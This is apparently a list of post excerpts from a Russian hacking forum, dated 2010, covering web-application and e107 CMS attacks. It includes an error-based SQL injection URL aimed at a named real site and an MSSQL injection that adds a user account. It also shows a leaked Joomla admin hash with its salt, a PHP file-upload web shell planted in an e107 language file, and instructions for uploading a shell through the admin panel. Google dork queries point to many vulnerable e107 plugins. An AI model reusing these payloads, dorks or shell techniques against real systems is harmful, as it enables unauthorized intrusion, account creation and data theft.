Раздел: Web-среда/Web-applications
25.08.2010, 20:22
|
|
Ответов: 290
Просмотров: 272,185
:)
...
:)
http://as-roma.ru/team.php?id=6+and+(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+information_schema.tables+group+by+2+limit+1)a)--+
users
id_user email...
|
|
Раздел: Web-среда/Web-applications
22.08.2010, 22:32
|
|
Ответов: 105
Просмотров: 250,308
|
|
Раздел: Web-среда/Web-applications
21.08.2010, 00:16
|
|
Ответов: 3,618
Просмотров: 3,130,689
1
нет, провалял дурака и не изучал (
кода нет, и хз какой модификатор.
(методом научного тыка его и проверим :) или так не получитцо )тоесть можно проверять параметры прямо в приложении руцями?
...
|
|
Раздел: Web-среда/Web-applications
21.08.2010, 00:05
|
|
Ответов: 3,618
Просмотров: 3,130,689
1
Есть десктопное приложения, ошибок нет на уровне СУБД mssql(тоесть выплевывать в ошибку нет возможности!), писалось на шарпе.
Тоесть если впихнуть ; exeс cmd_shell 'net master..user test pass /add',...
|
|
Раздел: Web-среда/Web-applications
18.08.2010, 18:53
|
|
Ответов: 3,618
Просмотров: 3,130,689
|
|
Раздел: Сценарии/CMF/СMS
13.08.2010, 07:00
|
|
Ответов: 0
Просмотров: 6,064
дел
дел
............
|
|
Раздел: Форумы
12.08.2010, 14:01
|
|
Ответов: 2
Просмотров: 13,359
определение версии форумов
http://piroforum.info/ помогите определить
зы предлагаю писать тута форумы, версии которых надо определять.
// угу daniel_1024 секнс
|
|
Раздел: Криптография/Cryptography
04.08.2010, 10:20
|
|
Ответов: 821
Просмотров: 665,850
|
|
Раздел: Криптография/Cryptography
03.08.2010, 21:19
|
|
Ответов: 482
Просмотров: 413,564
joomla ...
joomla
admin:d7d62780819b98284b098b94a8d0d6ef:V8i5j7LtxT8 ENfTD1
|
|
Раздел: Оффтоп/Offtopic
01.08.2010, 09:48
|
|
Ответов: 39
Просмотров: 23,694
|
|
Раздел: Сценарии/CMF/СMS
18.07.2010, 00:18
|
|
Ответов: 75
Просмотров: 188,429
Vam Shop
1.http://[host]/[path]/admin/csv_backend.php?action=upload - CVS експорт/импорт
2.http://[host]/[path]/admin/easypopulate.php - Excel експорт/импорт...
|
|
Раздел: Сценарии/CMF/СMS
17.07.2010, 23:55
|
|
Ответов: 75
Просмотров: 188,429
e107
1. e107_admin/language.php?tools
2. ");?><?copy($_FILES[file][tmp_name],$_POST[p])?> например в lan_banner.php .
3. http://[host]l/[path]/e107_languages/lan_banner.php
4. форма с постом:...
|
|
Раздел: Криптография/Cryptography
11.07.2010, 01:46
|
|
Ответов: 821
Просмотров: 665,850
3c0115dbde7ade8baa99d993a251bc76 ...
3c0115dbde7ade8baa99d993a251bc76
8977488b5558491ba264a674e03660d8
76f6321014fe349363d1275b28b888c4
10d612d70cfd878b905367dcb343ca2a
c5ede247131cf4d9b2ee7cf517d33bac...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:25
|
|
Ответов: 46
Просмотров: 135,335
Tabbed Menu v2.0 by KVN
скачать...
Tabbed Menu v2.0 by KVN
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.442#)
inurl:e107_plugins/tabbed_menu
пасивная XSS...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:24
|
|
Ответов: 46
Просмотров: 135,335
Map Me! v1.3 by rickey911
скачать...
Map Me! v1.3 by rickey911
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.615#)
SQL inj
гугл- inurl:/e107_plugins/mapme
...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:24
|
|
Ответов: 46
Просмотров: 135,335
Registration v0.9 by holiday
скачать...
Registration v0.9 by holiday
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.508#)
SQL inj в order by (есть вывод от СУБД!)
гугл- inurl:e107_plugins/registration
...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:23
|
|
Ответов: 46
Просмотров: 135,335
Survey_46.zip v0.47 by yvalni
скачать...
Survey_46.zip v0.47 by yvalni
скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.651#)
гугл- inurl:e107_plugins/survey
Результаты 1 - 10 из примерно 7 430
SQL inj...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:23
|
|
Ответов: 46
Просмотров: 135,335
Social Shop v1.1 by eleljrk
cкачать...
Social Shop v1.1 by eleljrk
cкачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.706#)
гугл inurl:e107_plugins/social_shop/
SQL inj...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:22
|
|
Ответов: 46
Просмотров: 135,335
Roster by Carl Taylor Version 2.0
гугл-...
Roster by Carl Taylor Version 2.0
гугл- inurl:/e107_plugins/roster
Blind SQL inj
[path]/e107_plugins/roster/userinfo.php...
//html file
require_once("html/roster_userinfo.php");
$html = new...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:21
|
|
Ответов: 46
Просмотров: 135,335
aa_meetings v1.1
[скачать...
aa_meetings v1.1
[скачать (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.653#)]
SQL inj
/e107_plugins/aa_meetings/geocode.php...// Select all the rows in the markers table...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:20
|
|
Ответов: 46
Просмотров: 135,335
AutoGallery v3.1_beta
[скачано...
AutoGallery v3.1_beta
[скачано (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.510#)]
в гугле:
inurl:e107_plugins/autogallery
Результаты 1 - 10 из примерно 132 000
путь...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:19
|
|
Ответов: 46
Просмотров: 135,335
гугл-...
гугл- inurl:e107_plugins/rank_system/recommend.php
target: http://[host]/[path]/e107_plugins/rank_system/recommend.php
passive XSS
/e107_plugins/rank_system/recommend.php
...$recomm = new...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:19
|
|
Ответов: 46
Просмотров: 135,335
Alternate Profiles
выкачал отсюдо...
Alternate Profiles
выкачал отсюдо (http://plugins.e107.org/e107_plugins/psilo/psilo.php?artifact.404 )
гугл- inurl:e107_plugins/alternate_profiles
...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:18
|
|
Ответов: 46
Просмотров: 135,335
ех,вкусная бреш!
плагин за 2009 год, скачан...
ех,вкусная бреш!
плагин за 2009 год, скачан отсюдо (http://plugins.e107.org)
гугл- inurl:e107_plugins/radio_plan/
http://[host]/[path]/e107_plugins/radio_plan/admin/upload.php...include...
|
|
Раздел: Сценарии/CMF/СMS
06.07.2010, 20:17
|
|
Ответов: 46
Просмотров: 135,335
Как лить шелл через админку.
Способ 1. ...
Как лить шелл через админку.
Способ 1.
Если в e107_admin/ есть filetypes.php, то можно устанавливать плагины!
По умолчанию этот файл называеться filetypes_.php, тоесть лить неззя.
Тогда...
|
